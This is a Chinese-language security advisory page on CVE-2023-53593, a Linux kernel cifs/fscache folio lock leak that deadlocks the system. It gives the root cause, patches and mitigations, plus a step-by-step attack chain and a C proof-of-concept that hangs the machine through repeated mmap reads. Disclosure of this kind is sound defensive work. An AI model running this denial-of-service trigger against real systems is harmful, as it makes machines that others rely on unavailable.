IPBUF安全漏洞报告
English
CVE-2023-53593 CVSS 5.5 中危

CVE-2023-53593 Linux内核cifs文件系统folio锁泄漏导致死锁漏洞

披露日期: 2025-10-04
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2023-53593
漏洞类型
资源管理错误/锁泄漏导致死锁
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel (cifs文件系统模块)

相关标签

Linux Kernelcifsfscache死锁资源泄漏锁泄漏拒绝服务DoS本地提权内核漏洞

漏洞概述

CVE-2023-53593是Linux内核cifs(Common Internet File System)模块中的一个资源管理漏洞。当使用fscache(文件系统缓存)功能时,在cifs_readpage_worker函数处理缓存命中(cache hit)的读取请求时,存在folio锁泄漏问题。根据VFS(虚拟文件系统)的文档规范,read_folio操作的被调用方在读取完成后(无论成功与否)应当释放folio锁。然而在当前实现中,当fscache缓存命中时,cifs_readpage_from_fscache函数仅将页面标记为clean,但未释放folio锁。这导致在后续通过mmap访问同一页面时,会在folio_wait_bit_common处发生死锁,需要重启系统才能恢复。该漏洞影响所有启用cifs和fscache功能的Linux内核版本,攻击者需要本地低权限访问权限即可触发,造成系统可用性完全丧失(系统挂起/死锁)。该漏洞由Linux内核社区修复,通过在__cifs_readpage_from_fscache成功路径中添加folio解锁逻辑,使cifs_readpage_worker的行为与cifs_readahead保持一致,从而修复了锁泄漏问题。

技术细节

该漏洞的技术根源在于Linux内核cifs模块中folio锁管理的不一致。具体来说,cifs_readpage_worker函数被调用时,调用契约要求被调用者负责解锁folio。然而,当fscache缓存命中时,代码路径调用cifs_readpage_from_fscache,该函数内部调用__cifs_readpage_from_fscache,在成功路径中仅将folio标记为clean(通过folio_mark_uptodate),但没有释放folio锁。

问题在于cifs_readahead函数也调用cifs_readpage_from_fscache,但它在返回后会无条件释放锁。因此修复方案是使cifs_readpage_worker与cifs_readahead行为一致,在__cifs_readpage_from_fscache成功路径中释放锁。

利用方式:攻击者只需通过本地低权限账户挂载启用了fscache的cifs文件系统,然后通过mmap方式访问文件中的页面。当发生缓存命中时,folio锁被泄漏。当用户尝试再次通过mmap访问该页面时,内核会在folio_wait_bit_common处无限等待锁释放,形成死锁。触发后的堆栈信息显示调用链为:filemap_fault -> filemap_read_folio -> folio_wait_bit_common。攻击向量为本地(AV:L),需要低权限(PR:L),无需用户交互(UI:N),对机密性和完整性无影响,但对可用性影响为高(A:H),因为系统将完全挂起。

攻击链分析

STEP 1
步骤1:环境准备
攻击者需要本地低权限账户访问启用了fscache功能的cifs挂载文件系统。使用mount -t cifs -o fsc命令挂载远程SMB/CIFS共享,使能fscache缓存功能。
STEP 2
步骤2:首次读取触发缓存填充
通过mmap方式访问cifs挂载点上的文件,首次访问时fscache未命中(cache miss),数据从远程服务器读取并填充到fscache中。
STEP 3
步骤3:驱逐页缓存
使用posix_fadvise(POSIX_FADV_DONTNEED)或drop_caches机制将页面从page cache中驱逐,使得下次访问时必须从fscache重新获取。
STEP 4
步骤4:触发fscache缓存命中
再次通过mmap访问文件,此时fscache命中(cache hit),调用cifs_readpage_from_fscache函数。该函数在__cifs_readpage_from_fscache成功路径中标记folio为clean但未释放锁,导致folio锁泄漏。
STEP 5
步骤5:触发死锁
第三次访问同一页面时,内核调用filemap_fault -> filemap_read_folio -> folio_wait_bit_common等待锁释放,由于锁已泄漏,进程无限挂起,系统进入死锁状态。
STEP 6
步骤6:系统不可用
死锁导致系统完全不可用,需要硬重启(reboot)才能恢复,造成拒绝服务(DoS)效果。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// PoC for CVE-2023-53593 - Linux kernel cifs fscache folio lock leak // This PoC demonstrates how to trigger the deadlock condition #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/mman.h> #include <sys/stat.h> #define FILE_SIZE (4096 * 10) // 10 pages #define PAGE_SIZE 4096 int main(int argc, char *argv[]) { if (argc != 2) { fprintf(stderr, "Usage: %s <cifs_mounted_file>\n", argv[0]); fprintf(stderr, "Note: Requires cifs mount with fscache enabled\n"); return 1; } const char *filepath = argv[1]; int fd; void *mapped; // Step 1: Open the file on a cifs mount with fscache enabled fd = open(filepath, O_RDONLY); if (fd < 0) { perror("open"); return 1; } // Step 2: mmap the file to trigger filemap_fault path mapped = mmap(NULL, FILE_SIZE, PROT_READ, MAP_PRIVATE, fd, 0); if (mapped == MAP_FAILED) { perror("mmap"); close(fd); return 1; } // Step 3: First read - triggers cifs_readpage_worker with fscache miss // This populates the fscache printf("First access (fscache miss) - reading page...\n"); volatile char c = ((char *)mapped)[0]; (void)c; // Step 4: Drop the page from page cache to force fscache re-fetch // On next access, fscache hit occurs, triggering the bug printf("Dropping page cache to force fscache hit on next access...\n"); if (posix_fadvise(fd, 0, FILE_SIZE, POSIX_FADV_DONTNEED) != 0) { perror("posix_fadvise"); } // Step 5: Second access via mmap - triggers fscache cache hit // This is where the folio lock leak occurs printf("Second access (fscache hit) - this triggers the lock leak...\n"); // Touch the page to trigger filemap_fault -> filemap_read_folio c = ((char *)mapped)[0]; (void)c; // Step 6: Third access - the page is now locked, causing deadlock printf("Third access - system may hang here due to deadlock...\n"); c = ((char *)mapped)[0]; (void)c; printf("If you see this, the bug was not triggered.\n"); munmap(mapped, FILE_SIZE); close(fd); return 0; } /* * Trigger conditions: * 1. Linux kernel with cifs module compiled with fscache support * 2. A cifs filesystem mounted with -o fsc (fscache enabled) * 3. Local user access to files on the cifs mount * 4. File must be read at least once (to populate fscache) * 5. Page cache must be evicted (fscache hit on re-read) * 6. Subsequent mmap access will deadlock * * To mount with fscache: * mount -t cifs -o fsc,username=user,password=pass //server/share /mnt/cifs * * After triggering, check the stuck task: * cat /proc/<pid>/task/<tid>/stack * Expected output shows deadlock in folio_wait_bit_common */

影响范围

Linux Kernel < 6.6 (cifs模块启用fscache的所有版本)
Linux Kernel stable分支需要应用补丁:69513dd669e243928f7450893190915a88f84a2b
Linux Kernel stable分支需要应用补丁:7a9fb689c1a1dc373887621a3bfa3810df0abde4
Linux Kernel stable分支需要应用补丁:9e725386d4262ef23ae51993f04602bc535b5be2

防御指南

临时缓解措施
在无法立即升级内核的情况下,可以通过以下临时措施缓解:1)在挂载cifs文件系统时不使用fscache选项(即不使用-o fsc参数挂载),避免触发缓存命中路径;2)限制本地用户对cifs挂载点的访问权限;3)监控系统中hung_task状态,发现死锁时及时重启受影响的服务或系统;4)使用cgroup等机制限制单个用户的资源使用,防止恶意用户通过反复触发该漏洞造成系统完全不可用。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表